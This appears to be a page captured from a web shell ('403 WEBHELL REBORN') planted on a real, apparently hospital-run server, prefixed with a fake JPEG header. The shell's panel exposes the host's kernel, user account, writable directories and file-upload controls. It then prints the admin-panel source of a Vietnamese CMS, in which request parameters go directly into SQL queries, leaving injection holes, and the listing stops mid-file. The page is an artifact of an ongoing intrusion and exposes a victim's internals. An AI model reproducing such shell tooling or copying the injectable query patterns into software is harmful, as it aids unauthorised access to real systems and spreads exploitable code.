ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache/2
System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User : benhviencoc7 ( 1008)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/benhviencoc7/public_html/adminvn/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /home/benhviencoc7/public_html////////adminvn/index.php
<?php

/*----------------------------------------*\
|             Copyright © C-ILY            | 
|            Phone: 0983.998.994           |
|             Y!m: notepad.html            |
|         Email: truongpv87@gmail.com      |
\*----------------------------------------*/

define('CILY',true);
include('../#includes/config.php');
include('../#includes/cp.class.php');
include('version.php');

if(strpos($_SERVER['HTTP_USER_AGENT'],'MSIE 6')!=0) {
    echo 'Dung trinh duyet khac';
}

elseif(check_log()) {
    $tpl = new Template('main.html');
    $menu = isset($_GET['m'])?$_GET['m']:'0';
    $sub_menu = isset($_GET['sm'])?$_GET['sm']:'0';
    list($cat_seting1) = @mysql_fetch_array(@mysql_query("SELECT mod_home FROM cily_modules WHERE id = '6'"));
    $useron = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_users WHERE id = ".$_SESSION['user']['id']));
    $tt_post = @mysql_num_rows(@mysql_query("SELECT id FROM cily_posts"));
    $tt_pro = @mysql_num_rows(@mysql_query("SELECT id FROM cily_products"));
    $tt_data = @mysql_num_rows(@mysql_query("SELECT id FROM cily_datas"));

    $ss_spbv = dieukienopen(get_option('goi_hosting'));
    $ss_data = dieukienopen(get_option('goi_hosting')) * 10;


    switch($menu) {
        // Bảng tiền khởi
        case '0':

            list($totalvisit) = @mysql_fetch_array(@mysql_query("SELECT MAX(id) FROM cily_onlines"));
            $list_temp = @mysql_query("SELECT * FROM cily_templates");
            while ($listtemp = @mysql_fetch_array ($list_temp)){
                $tpl->assign(
                    array(
                        'tpl_id' => $listtemp['id'],
                        'tpl_name' => $listtemp['tpl_name'],
                        'tpl_dir' => $listtemp['tpl_dir'],
                        'tpl_active' => ($listtemp['tpl_active'] == '1')?'checked':'',
                    ));
                $tpl->parse('list_temp');
            }

            $day1 = date('D', time());
            $month1 = date('M', time());
            
            list($option) = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_options WHERE id = ".$comment['comment_user']));
            list($etotal_day) = @mysql_fetch_array(@mysql_query("SELECT counter_Value FROM cily_counters WHERE counter_Key = 'counter".$day1."'"));
            list($etotal_month) = @mysql_fetch_array(@mysql_query("SELECT counter_Value FROM cily_counters WHERE counter_Key = 'counter".$month1."'"));
            
            $tpl->assign(
                array(
                    'start_comment' => ($_COOKIE['comment'])?$_COOKIE['comment']:'show',
                    'start_quick' => ($_COOKIE['quick'])?$_COOKIE['quick']:'show',
                    'start_info' => ($_COOKIE['info'])?$_COOKIE['info']:'show',
                    'total_post' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_posts WHERE post_type = 1")),
                    'total_product' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products")),
                    'total_admin' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_users WHERE user_level = 9 AND id != 2")),
                    'total_online' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_onlines")),
                    'total_visit' => $totalvisit,
                    'total_day' => $etotal_day,
                    'total_month' => $etotal_month,
                    'w3c_quangcao' => get_option('quangcao'),
                    'web_domain' => (strtotime("".get_option('domain')."") - strtotime("".formatTime(time() + 7*(3600),5)."") ) / (60 * 60 * 24),
                    'web_hosting' => (strtotime("".get_option('hosting')."") - strtotime("".formatTime(time() + 7*(3600),5)."") ) / (60 * 60 * 24),
                ));

                $l00_log = @mysql_query("SELECT * FROM cily_log WHERE log_user != 2 ORDER BY id DESC LIMIT 10");
                    while ($l00log = @mysql_fetch_array ($l00_log)){
                        list($loguser00) = @mysql_fetch_array(@mysql_query("SELECT user_nick FROM cily_users WHERE id = ".$l00log['log_user']));
                        $tpl->assign(
                            array(
                                'l00_state' => cdllog($l00log['log_state']),
                                'l00_proid' => $l00log['log_proid'],
                                'l00_username' => $loguser00,
                                'l00_table' => collog($l00log['log_table']),
                                'l00_time' => formatTime($l00log['log_time'], 7),
                            ));
                        $tpl->parse('l00_log');
                    }
            $this_menu = '| Bảng tiền khởi';
            break;
            
        case '1':
            $this_menu = '| Bài viết';
            switch($sub_menu) {
                case '0':
                    $current_page = ($_GET['page'])?$_GET['page']:1;
                    
                    if($useron['user_level'] < 4) {
                        $modpage = '&user='.$useron['id'];
                        $p_where1 = 'and p.post_user = '.$useron['id'];
                    }else{
                        $modpage = '';
                        $p_where1 = '';
                    }
                    if($_GET['user']) {
                        $modpage = '&user='.$_GET['user'];
                        $p_where = 'and p.post_user = '.$_GET['user'];
                    }
                    elseif($_GET['cat']) {
                        $modpage = '&cat='.$_GET['cat'];
                        $p_where = 'and p.post_cat = '.$_GET['cat'];
                    }
                    else if(isset($_GET['name'])) {
                        $s_name = addsla($_GET['name']);
                        $modpage = '&name='.$_GET['name'];
                        $p_where = 'and p.post_name LIKE "%'.$s_name.'%"';
                    }
                    $p_start = ($current_page -1) * get_option('paging');
                    $total_p = @mysql_num_rows(@mysql_query("SELECT p.*, p.id AS pid, c.id AS cid, c.* FROM cily_posts AS p JOIN cily_cats AS c ON (p.post_cat = c.id) WHERE p.post_type = 1 ".$p_where." ".$p_where1.""));
                    $post_list = @mysql_query("SELECT p.*, p.id AS pid, c.id AS cid, c.* FROM cily_posts AS p LEFT JOIN cily_cats AS c ON (p.post_cat = c.id)
                        WHERE p.post_type = 1 ".$p_where." ".$p_where1." ORDER BY p.post_timeup DESC LIMIT ".$p_start.",".get_option('paging'));
                    while ($lpost = @mysql_fetch_array ($post_list)){
                        list($p_user) = @mysql_fetch_array(@mysql_query("SELECT user_nick FROM cily_users WHERE id = ".$lpost['post_user']));
                        list($p_cat) = @mysql_fetch_array(@mysql_query("SELECT cat_name FROM cily_cats WHERE id = ".$lpost['post_cat']));
                        $tpl->assign(
                            array(
                                'lpost_id' => $lpost['pid'],
                                'lcat_id' => $lpost['cid'],
                                'pu_id' => $lpost['post_user'],
                                'pc_id' => $lpost['post_cat'],
                                'lpost_user' => $p_user,
                                'lpost_cat' => $p_cat,
                                'lpost_hot' => $lpost['post_hot'],
                                'lpost_nb' => $lpost['post_nb'],
                                'lpost_sukien' => $lpost['post_sukien'],
                                'lpost_show' => $lpost['post_show'],
                                'lpost_name' => catchuoi($lpost['post_name'],14),
                                'lpost_ascii' => $lpost['post_name_ascii'],
                                'lcat_ascii' => $lpost['cat_name_ascii'],
                                'lpost_time' => formatTime($lpost['post_time'], 3),
                                'lpost_showcolor' => ($lpost['post_show'] == 0)?'#dbdbdb':'',
                                'lpost_hot1' => ($lpost['post_hot'] == 1)?$lpost['post_hot'] = 0:$lpost['post_hot'] = 1,
                                'lpost_nb1' => ($lpost['post_nb'] == 1)?$lpost['post_nb'] = 0:$lpost['post_nb'] = 1,
                                'lpost_show1' => ($lpost['post_show'] == 0)?$lpost['post_show'] = 1:$lpost['post_show'] = 0,
                                'lpost_sukien1' => ($lpost['post_sukien'] == 1)?$lpost['post_sukien'] = 0:$lpost['post_sukien'] = 1,
                            ));
                        $tpl->parse('post_list');
                    }
                    $_SESSION['link'] = $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING'];
                    $tpl->assign('lp_paging',paging(get_option('paging'),$current_page, $total_p, 'index.php?m=1',$modpage.'&page=' ,false));
                    $tpl->assign('pc_total',($total_p <= 0)?'0':$total_p);
                    $this_menu .= ' | Danh sách bài';
                    break;
                
                case '1':
                if ($tt_post <= $ss_spbv && $tt_data <= $ss_data) {
					$datepo = date("Y-m-d H:i:s");
                    if($_GET['id'] > 0){
                        unset($_SESSION['catpost']);
                        $post = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_posts WHERE post_type = 1 and id = ".$_GET['id']));
                        $file = explode(',',$post['post_file']);
                        array_shift($file);
                        $lfile = '';
                        foreach ($file as $item) {
                            $i ++;
                            $it = explode('|',$item);
                            $lfile .= '<div style="margin-bottom: 5px !important;" class="alert alert-success fade in"><button onclick="$(\'#file'.$i.'\').remove();$(\'#filecontent > input\').val($(\'#filecontent > input\').val().replace(\','.$it[0].'|'.$it[1].'\',\'\'));" style="color: red; cursor: pointer;" class="close" type="button" data-dismiss="alert" aria-hidden="true">×</button><p id="file'.$i.'"><i class="fa fa-check-circle fa-fw fa-lg"></i><strong>'.$it[0].'</strong> </p></div>';
                        }
                        $tpl->assign(
                            array(
                                'epost_action' => 'edit',
                                'epost_id' => $post['id'],
                                'eproduct_title' => $post['post_name'],
                                'epost_quote' => $post['post_quote'],
                                'epost_content' => $post['post_content'],
                                'epost_img' => $post['post_image'],
                                'epost_lfile' => $lfile,
                                'epost_file' => $post['post_file'],
                                'epost_checkshow' => $post['post_show'],
                                'epost_writer' => $post['post_writer'],
                                'epost_source' => $post['post_source'],
								'epost_datewrite' => formatTime($post['post_time'],6),
                                'epost_tags' => $post['post_tags'],
                                'epost_show' => ($post['post_show']==1)?'checked=""':'',
                                'epost_star0' => ($post['post_star'] == 0)?'selected=""':'',
                                'epost_star1' => ($post['post_star'] == 1)?'selected=""':'',
                                'epost_star2' => ($post['post_star'] == 2)?'selected=""':'',
                                'epost_star3' => ($post['post_star'] == 3)?'selected=""':'',
                                'epost_star4' => ($post['post_star'] == 4)?'selected=""':'',
                                'epost_star5' => ($post['post_star'] == 5)?'selected=""':'',
                                'epost_bt' => 'Sửa bài',
                            ));
                    }
                    else {
                        $tpl->assign(
                            array(
                                'epost_action' => 'add',
                                'epost_id' => '',
                                'eproduct_title' => '',
                                'epost_quote' => '',
                                'epost_content' => '',
                                'epost_img' => ''.get_option('url').'/data/images/df-img.png',
                                'epost_lfile' => '',
                                'epost_file' => '',
                                'epost_writer' => $useron['user_nick'],
                                'epost_source' => '',
								'epost_datewrite' => $datepo,
                                'epost_tags' => '',
                                'epost_show' => 'checked=""',
                                'epost_star0' => '',
                                'epost_star1' => '',
                                'epost_star2' => '',
                                'epost_star3' => '',
                                'epost_star4' => 'selected',
                                'epost_star5' => '',
                                'epost_bt' => 'Đăng bài',
                            ));
                    }
                
                   $showcat_post = get_option('showcat_post');
                    $cats = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = 0 and (cat_type IN (".$showcat_post.")) ORDER BY cat_order ASC");
                    list($pd_cat1) = @mysql_fetch_array(@mysql_query("SELECT post_cat FROM cily_posts WHERE id = ".$_GET['id']." AND post_type = 1"));
                    while ($listcat = @mysql_fetch_array ($cats)){
                        
                        $sub_cat = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$listcat['id']." ORDER BY cat_order ASC");
                        while ($listsub = @mysql_fetch_array ($sub_cat)){
                            
                             $sub_cat1 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$listsub['id']." ORDER BY cat_order ASC");
                                 while ($listsub1 = @mysql_fetch_array ($sub_cat1)){
                                    
                                    $sub_cat2 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$listsub1['id']." ORDER BY cat_order ASC");
                                               while ($listsub2 = @mysql_fetch_array ($sub_cat2)){
                                              $tpl->assign(
                                                     array(
                                                            'cat_id_sub2' => $listsub2['id'],
                                                            'cat_name_sub2' => $listsub2['cat_name'],
                                                            'ecat_check_sub2' => (($listsub2['id'] == $post['post_cat']) || ($listsub2['id'] == $_SESSION['catpost']) )?'selected=""':'',
                                                        ));
                                    $tpl->parse('p_cat_sub2');
                              }
                              
                                 $tpl->assign(
                                  array(
                                    'cat_id_sub1' => $listsub1['id'],
                                    'cat_name_sub1' => $listsub1['cat_name'],
                                    'ecat_check_sub1' => (($listsub1['id'] == $post['post_cat']) || ($listsub1['id'] == $_SESSION['catpost']) )?'selected=""':'',
                                    
                                ));
                                 $tpl->parse('p_cat_sub1');
                              }
                        
                            $tpl->assign(
                                array(
                                    'cat_id_sub' => $listsub['id'],
                                    'cat_name_sub' => $listsub['cat_name'],
                                    'ecat_check_sub' => (($listsub['id'] == $post['post_cat']) || ($listsub['id'] == $_SESSION['catpost']) )?'selected=""':'',
                                    
                                ));
                            $tpl->parse('p_cat_sub');
                        }
                        $tpl->assign(
                            array(
                                'cat_id' => $listcat['id'],
                                'cat_name' => $listcat['cat_name'],
                                'ecat_check' => (($listcat['id'] == $post['post_cat']) || ($listcat['id'] == $_SESSION['catpost']) )?'selected=""':'',
                            ));
                        $tpl->parse('p_cat');
                    }
                        }else {
                        Redirect("","index.php?m=21");
                    }
                    $this_menu .= ' | Bài mới';
                    break;
            }
            break;
            
        case '2':
            $this_menu = '| Bình luận';
            switch($sub_menu) {
                case '0':
                    $current_page = ($_GET['page'])?$_GET['page']:1;
                    if($_GET['user']) {
                        $modpage = '&user='.$_GET['user'];
                        $c_where = 'WHERE comment_user = '.$_GET['user'];
                    }
                    else {
                        $modpage = '';
                        $c_where = '';
                    }
                    $c_start = ($current_page -1) * get_option('paging');
                    $total_c = @mysql_num_rows(@mysql_query("SELECT id FROM cily_comments ".$c_where.""));
                    $com_list = @mysql_query("SELECT * FROM cily_comments ".$c_where." ORDER BY id DESC LIMIT ".$c_start.",".get_option('paging'));
                    while ($lcom = @mysql_fetch_array ($com_list)){
                        if ($lcom['comment_spbv'] == 'bv'){
                        list($c_user) = @mysql_fetch_array(@mysql_query("SELECT user_nick FROM cily_users WHERE id = ".$lcom['comment_user']));
                        $c_post = @mysql_fetch_array(@mysql_query("SELECT p.*, p.id AS pid, c.id AS cid, c.* FROM cily_posts AS p LEFT JOIN cily_cats AS c ON (p.post_cat = c.id) WHERE p.id = ".$lcom['comment_pid']." AND p.post_type = 1"));
                        $tpl->assign(
                            array(
                                'lcom_id' => $lcom['id'],
                                'lcom_id_reply' => $lcom['id'],
                                'lcom_email' => $lcom['comment_email'],
                                'lcom_user' => $lcom['comment_user'],
                                'lcom_iduser' => $lcom['comment_user'],
                                'lcom_user' => ($c_user == NULL)?$lcom['comment_user']:$c_user,
                                'lcom_time' => formatTime($lcom['comment_time'], 2),
                                'lcom_content' => catchuoi($lcom['comment_content'],30),
                                'lcom_linkpost' => URL_SITE.'/bv/'.$c_post['cat_name_ascii'].'-c'.$c_post['cid'].'/'.$c_post['post_name_ascii'].'-p'.$c_post['pid'].'',
                                'lcom_post' => catchuoi($c_post['post_name'],8),
                                'lcom_read' => ($lcom['comment_read'] == 1)?'Chưa trả lời':'Đã trả lời',
                            ));
                        if($lcom['comment_sid'] == 0) $tpl->parse('com_reply');
                        $tpl->parse('com_list');
                    }elseif ($lcom['comment_spbv'] == 'sp'){
                        list($c_user) = @mysql_fetch_array(@mysql_query("SELECT user_nick FROM cily_users WHERE id = ".$lcom['comment_user']));
                        $c_pro = @mysql_fetch_array(@mysql_query("SELECT p.*, p.id AS pid, c.id AS cid, c.* FROM cily_products AS p LEFT JOIN cily_cats AS c ON (p.product_cat = c.id) WHERE p.id = ".$lcom['comment_pid']));
                        $tpl->assign(
                            array(
                                'lcom_id' => $lcom['id'],
                                'lcom_id_reply' => $lcom['id'],
                                'lcom_email' => $lcom['comment_email'],
                                'lcom_user' => $lcom['comment_user'],
                                'lcom_iduser' => $lcom['comment_user'],
                                'lcom_user' => ($c_user == NULL)?$lcom['comment_user']:$c_user,
                                'lcom_time' => formatTime($lcom['comment_time'], 2),
                                'lcom_content' => catchuoi($lcom['comment_content'],30),
                                'lcom_linkpost' => URL_SITE.'/sp/'.$c_pro['cat_name_ascii'].'-c'.$c_pro['cid'].'/'.$c_pro['product_name_ascii'].'-p'.$c_pro['pid'].'',
                                'lcom_post' => catchuoi($c_pro['product_name'],8),
                                'lcom_read' => ($lcom['comment_read'] == 1)?'Chưa trả lời':'Đã trả lời',
                            ));
                        if($lcom['comment_sid'] == 0) $tpl->parse('com_reply');
                        $tpl->parse('com_list');
                    }
                }

                    $tpl->assign('lc_paging',paging(get_option('paging'),$current_page, $total_c, 'index.php?m=2',$modpage.'&page=' ,false));
                    $this_menu .= ' | Danh sách';
                    break;
                    
                case '1':
                    if($_GET['edit'] > 0){
                        list($ecom) = @mysql_fetch_array(@mysql_query("SELECT comment_content FROM cily_comments WHERE id = ".$_GET['edit']));
                        $tpl->assign(
                            array(
                                'ecom_action' => 'edit',
                                'ecom_id' => $_GET['edit'],
                                'ecom_pid' => '',
                                'ecom_content' => $ecom,
                                'ecom_bt' => 'Sửa bình luận',
                            ));
                    $this_menu .= ' | Sửa';
                    }
                    elseif($_GET['reply'] > 0){
                        list($pid) = @mysql_fetch_array(@mysql_query("SELECT comment_pid FROM cily_comments WHERE id = ".$_GET['reply']));
                        $tpl->assign(
                            array(
                                'ecom_action' => 'reply',
                                'ecom_id' => $_GET['reply'],
                                'ecom_pid' => $pid,
                                'ecom_content' => '',
                                'ecom_bt' => 'Trả lời',
                            ));
                    $this_menu .= ' | Trả lời';
                    }
                    break;
            }
            break;
            
        case '3':
            $this_menu = '| Sản phẩm';
            switch($sub_menu){
                case '0':
                    $current_page = ($_GET['page'])?$_GET['page']:1;
                    $searchdequy = show_dequy($_GET['cat'],'2');

                    if($useron['user_level'] < 4) {
                        $modpage = '&user='.$useron['id'];
                        $pd_where1 = 'and product_user = '.$useron['id'];
                    }else{
                        $modpage = '';
                        $pd_where1 = '';
                    }

                    if($_GET['cat']) {
                        $modpage = '&cat='.$_GET['cat'];
                        $pd_where = 'and p.product_cat = '.$_GET['cat'];
                    }
                    else if(isset($_GET['catname'])) {
                        $s_name = ($_GET['catname']);
                        $modpage = '&catname='.($_GET['catname']);
                        $pd_where = 'and c.cat_name LIKE "%'.$s_name.'%"';
                    }
                    else if(isset($_GET['name'])) {
                        $s_name = addsla($_GET['name']);
                        $modpage = '&name='.($_GET['name']);
                        $pd_where = 'and p.product_name LIKE "%'.$s_name.'%"';
                    }

                    $pd_start = ($current_page -1) * get_option('paging');
                    $total_pd = @mysql_num_rows(@mysql_query("SELECT c.*, p.*, c.id AS cid, p.id AS pid from cily_products AS p
                                                        LEFT JOIN cily_cats AS c
                                                        ON p.product_cat = c.id WHERE product_time > 0 ".$pd_where." ".$pd_where1.""));

                    $product_list = @mysql_query("SELECT c.*, p.*, c.id AS cid, p.id AS pid from cily_products AS p
                                                        LEFT JOIN cily_cats AS c
                                                        ON p.product_cat = c.id WHERE product_time > 0 ".$pd_where." ".$pd_where1." ORDER BY p.product_timeup DESC LIMIT ".$pd_start.",".get_option('paging'));
                    while ($lproduct = @mysql_fetch_array ($product_list)){
                        list($pd_cat) = @mysql_fetch_array(@mysql_query("SELECT cat_name FROM cily_cats WHERE id = ".$lproduct['cat_sub']));
                        $tpl->assign(
                            array(
                                'lproduct_id' => $lproduct['pid'],
                                'lproduct_name' => $lproduct['product_name'],
                                'lproduct_name_ascii' => $lproduct['product_name_ascii'],
                                'lproduct_code' => $lproduct['product_code'],
                                'lproduct_price' => number($lproduct['product_price'] * $tygia),
                                'lproduct_showcolor' => ($lproduct['product_show'] == 0)?'#dbdbdb':'',
                                'lproduct_free' => ($lproduct['product_free'])?number($lproduct['product_free'] * $tygia).'':'Không',
                                'lproduct_cat' => $lproduct['cat_name'],
                                'lproduct_cat_ascii' => $lproduct['cat_name_ascii'],
                                'lproduct_cat_id' => $lproduct['cid'],
                                'pdc_id' => $lproduct['product_cat'],
                                'cha_pdc_id' => ($pd_cat != NULL)?$pd_cat:'Danh mục chính',
                                'lproduct_banchay' => $lproduct['product_banchay'],
                                'lproduct_noibat' => $lproduct['product_nb'],
                                'lproduct_hot' => $lproduct['product_hot'],
                                'lproduct_show' => $lproduct['product_show'],
                                'lproduct_banchay1' => ($lproduct['product_banchay'] == 1)?$lproduct['product_banchay'] = 0:$lproduct['product_banchay'] = 1,
                                'lproduct_noibat1' => ($lproduct['product_nb'] == 1)?$lproduct['product_nb'] = 0:$lproduct['product_nb'] = 1,
                                'lproduct_hot1' => ($lproduct['product_hot'] == 1)?$lproduct['product_hot'] = 0:$lproduct['product_hot'] = 1,
                                'lproduct_show1' => ($lproduct['product_show'] == 1)?$lproduct['product_show'] = 0:$lproduct['product_show'] = 1,
                                'lproduct_km' => ($lproduct['product_km'] <> NULL)?'<img src=templates/images/icon_km.gif>':'',
                            ));
                        $tpl->parse('product_list');
                    }
                    $_SESSION['link'] = $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING'];
                    $tpl->assign('lpd_paging',paging(get_option('paging'),$current_page, $total_pd, 'index.php?m=3',$modpage.'&page=' ,false));
                    $tpl->assign('lproduct_total',($total_pd <= 0)?'0':$total_pd);


                    $M30_cats = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = 0 and (cat_type IN (2,3)) ORDER BY cat_order ASC");
                    while ($M30cats = @mysql_fetch_array ($M30_cats)){
                        
                        $M30_cats1 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$M30cats['id']." ORDER BY cat_order ASC");
                        while ($M30cats1 = @mysql_fetch_array ($M30_cats1)){
                            
                             $M30_cats2 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$M30cats1['id']." ORDER BY cat_order ASC");
                                 while ($M30cats2 = @mysql_fetch_array ($M30_cats2)){
                                    
                                    $M30_cats3 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$M30cats2['id']." ORDER BY cat_order ASC");
                                               while ($M30cats3 = @mysql_fetch_array ($M30_cats3)){
                                              $tpl->assign(
                                                     array(
                                                            'cat_id_sub2' => $M30cats3['id'],
                                                            'cat_name_sub2' => $M30cats3['cat_name'],
                                                            'cat_check2' => ($M30cats3['id'] == $_GET['cat'])?'selected=""':'',
                                                            'cat_count_sub2' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_cat =".$M30cats3['id']." ".$pd_where1)),
                                                        ));
                                    $tpl->parse('M30_cats3');
                              }
                              
                                 $tpl->assign(
                                  array(
                                    'cat_id_sub1' => $M30cats2['id'],
                                    'cat_name_sub1' => $M30cats2['cat_name'],
                                    'cat_check1' => ($M30cats2['id'] == $_GET['cat'])?'selected=""':'',
                                    'cat_count_sub1' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_cat =".$M30cats2['id']." ".$pd_where1)),
                                    
                                ));
                                 $tpl->parse('M30_cats2');
                              }
                        
                            $tpl->assign(
                                array(
                                    'cat_id_sub' => $M30cats1['id'],
                                    'cat_name_sub' => $M30cats1['cat_name'],
                                    'cat_check' => ($M30cats1['id'] == $_GET['cat'])?'selected=""':'',
                                    'cat_count_sub' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_cat =".$M30cats1['id']." ".$pd_where1)),
                                    
                                ));
                            $tpl->parse('M30_cats1');
                        }
                        $tpl->assign(
                            array(
                                'cat_id' => $M30cats['id'],
                                'cat_name' => $M30cats['cat_name'],
                                'catcheck' => ($M30cats['id'] == $_GET['cat'])?'selected=""':'',
                                'cat_count' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_cat =".$M30cats['id']." ".$pd_where1)),
                            ));
                        $tpl->parse('M30_cats');
                    }


                    $this_menu .= ' | Danh sách';
                    break;
                
                case '1':
                if ($tt_post <= $ss_spbv && $tt_data <= $ss_data) {
                    if($_GET['id'] > 0){
                        unset($_SESSION['cat']); 
                        $product = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_products WHERE id = ".$_GET['id']));
                        $descrip = explode(' .|~|. ',$product['product_descrip']);
                        $listImages1 = explode(',', $product['attach_image']);
                        $demanh = count($listImages1);

                        $dr[1] = array(
                            'key' => '',
                            'val' => '',
                        );
                        $dr[2] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[3] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[4] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[5] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[6] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[7] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[8] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[9] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[10] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[11] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[12] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[13] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[14] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        $dr[15] = array(
                            'show' => 'display: none;',
                            'key' => '',
                            'val' => '',
                        );
                        if(!$descrip)$dr_total = 1;
                        else {
                            foreach ($descrip as $item) {
                                $dr_total ++;
                                $it = explode(': ',$item);
                                $dr[$dr_total] = array(
                                    'show' => '',
                                    'key' => $it[0],
                                    'val' => $it[1],
                                );
                            }
                        }
                        $tpl->assign(
                            array(
                                
                                'eproduct_action' => 'edit',
                                'eproduct_id' => $product['id'],
                                'eproduct_title' => stripslashes($product['product_name']),
                                'eproduct_content' => $product['product_info'],
                                'eproduct_code' => $product['product_code'],
                                'eproduct_km' => $product['product_km'],
                                'eproduct_price' => $product['product_price'],
                                'eproduct_free' => $product['product_free'],
                                'eproduct_total' => $product['product_total'],
                                'eproduct_quality' => $product['product_quality'],
                                'eproduct_warranty' => $product['product_warranty'],
                                'eproduct_img' => ($product['product_image'] == '')?''.get_option('url').'/data/images/df-img.png':$product['product_image'],
                                'eproduct_quote' => $product['product_quote'],
                                'descrip_total' => $dr_total,
                                'attach_image_urls' => ($product['attach_image'] != NULL)?$product['attach_image']:'',
                                'eproduct_demanh' => $demanh,
                                'eproduct_star0' => ($product['product_star'] == 0)?'selected=""':'',
                                'eproduct_star1' => ($product['product_star'] == 1)?'selected=""':'',
                                'eproduct_star2' => ($product['product_star'] == 2)?'selected=""':'',
                                'eproduct_star3' => ($product['product_star'] == 3)?'selected=""':'',
                                'eproduct_star4' => ($product['product_star'] == 4)?'selected=""':'',
                                'eproduct_star5' => ($product['product_star'] == 5)?'selected=""':'',
                                'dr1_a' => $dr[1]['key'],
                                'dr1_b' => $dr[1]['val'],
                                'dr2_d' => $dr[2]['show'],
                                'dr2_a' => $dr[2]['key'],
                                'dr2_b' => $dr[2]['val'],
                                'dr3_d' => $dr[3]['show'],
                                'dr3_a' => $dr[3]['key'],
                                'dr3_b' => $dr[3]['val'],
                                'dr4_d' => $dr[4]['show'],
                                'dr4_a' => $dr[4]['key'],
                                'dr4_b' => $dr[4]['val'],
                                'dr5_d' => $dr[5]['show'],
                                'dr5_a' => $dr[5]['key'],
                                'dr5_b' => $dr[5]['val'],
                                'dr6_d' => $dr[6]['show'],
                                'dr6_a' => $dr[6]['key'],
                                'dr6_b' => $dr[6]['val'],
                                'dr7_d' => $dr[7]['show'],
                                'dr7_a' => $dr[7]['key'],
                                'dr7_b' => $dr[7]['val'],
                                'dr8_d' => $dr[8]['show'],
                                'dr8_a' => $dr[8]['key'],
                                'dr8_b' => $dr[8]['val'],
                                'dr9_d' => $dr[9]['show'],
                                'dr9_a' => $dr[9]['key'],
                                'dr9_b' => $dr[9]['val'],
                                'dr10_d' => $dr[10]['show'],
                                'dr10_a' => $dr[10]['key'],
                                'dr10_b' => $dr[10]['val'],
                                'dr11_d' => $dr[11]['show'],
                                'dr11_a' => $dr[11]['key'],
                                'dr11_b' => $dr[11]['val'],
                                'dr12_d' => $dr[12]['show'],
                                'dr12_a' => $dr[12]['key'],
                                'dr12_b' => $dr[12]['val'],
                                'dr13_d' => $dr[13]['show'],
                                'dr13_a' => $dr[13]['key'],
                                'dr13_b' => $dr[13]['val'],
                                'dr14_d' => $dr[14]['show'],
                                'dr14_a' => $dr[14]['key'],
                                'dr14_b' => $dr[14]['val'],
                                'dr15_d' => $dr[15]['show'],
                                'dr15_a' => $dr[15]['key'],
                                'dr15_b' => $dr[15]['val'],
                                'eproduct_bt' => 'Cập nhật',
                            ));
                    }
                    else {

                        $tpl->assign(
                            array(
                                'eproduct_action' => 'add',
                                'eproduct_id' => '',
                                'eproduct_title' => '',
                                'eproduct_content' => ' ',
                                'eproduct_code' => 'No',
                                'eproduct_km' => '',
                                'eproduct_price' => '0" onfocus="if(this.value==\'0\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'0\'',
                                'eproduct_free' => '0" onfocus="if(this.value==\'0\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'0\'',
                                'eproduct_total' => '999" onfocus="if(this.value==\'12\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'12\'',
                                'eproduct_quality' => 'Mới" onfocus="if(this.value==\'Mới\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'Mới\'',
                                'eproduct_warranty' => '12" onfocus="if(this.value==\'12\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'12\'',
                                'eproduct_img' => ''.get_option('url').'/data/images/df-img.png',
                                'descrip_total' => '1',
                                'eproduct_quote' => '',
                                'attach_image_urls' => '',

                                'eproduct_star0' => '',
